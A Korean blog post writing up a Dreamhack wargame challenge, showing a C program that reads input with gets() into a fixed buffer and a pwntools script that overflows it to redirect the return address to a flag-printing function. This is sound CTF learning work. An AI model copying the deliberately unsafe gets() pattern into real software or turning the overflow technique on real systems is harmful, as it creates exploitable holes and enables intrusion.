반응형

첫 번째 문제가 재밌어서 바로 두 번째 문제를 풀러 왔다.

첫 문제보다 쉬운 것 같다. 그냥 read_flag() 함수를 호출할 수 있으면 될 것이다.

(문제 출처 : https://dreamhack.io/wargame/challenges/3 )

 

예전에 어딘가에서 듣기로 ASLR? 이라는 기법이 사용되면 프로그램을 실행할 때 마다 주소가 바뀌어 포너블하기 힘들어진다고 했는데, 그냥 여기서는 그런 기능 안되어있길 기도하면서 read_flag 함수 주소를 찾았던 것 같다. 

 

일단 국룰 절차 먼저 밟아보자.

사실 보호기법은 봐도 잘 모른다. 그래도 일단 습관화 하면 좋을 것 같아서 밟는 절차... 하하 

 

다음은 코드를 살펴보도록 하자.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


void read_flag() {
    system("cat /flag");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
   
    gets(buf);

    return 0;
}

그냥 buffer overflow 이용해서 buf 칸 다 채워버리고 return 주소가 read_flag를 가리키게 하면 될 것 같다.

그럼 read_flag()의 주소를 어떻게 찾을까?

오 이 따옴표 넣는 기능 신기하다. 애용해야겠다.

dreamhack은 감사하게도 우리에게 pwndbg 사용법을 알려줬다.

 

사용법은 다들 알거니까 시작해보자.

print read_flag 써서 바로 주소 찾아줬다. 그럼 이걸 이용해 익스를 짜보자.

 

from pwn import *

p = remote('host3.dreamhack.games', 14765)

read_flag_addr = p32(0x80485b9)

payload = b"\x90"*0x80
payload += b"\x90"*4
payload += read_flag_addr

p.sendline(payload)
p.interactive()

 

우선 0x80칸 NOP으로 채워주고, SFP도 그냥 채워주고, 마지막 return address에다가 방금 찾은 주소를 넣어줬다.

 

흐흐.. 성공했다. 재밌다 ! 야무지다 ! 행복하다 !

반응형

+ Recent posts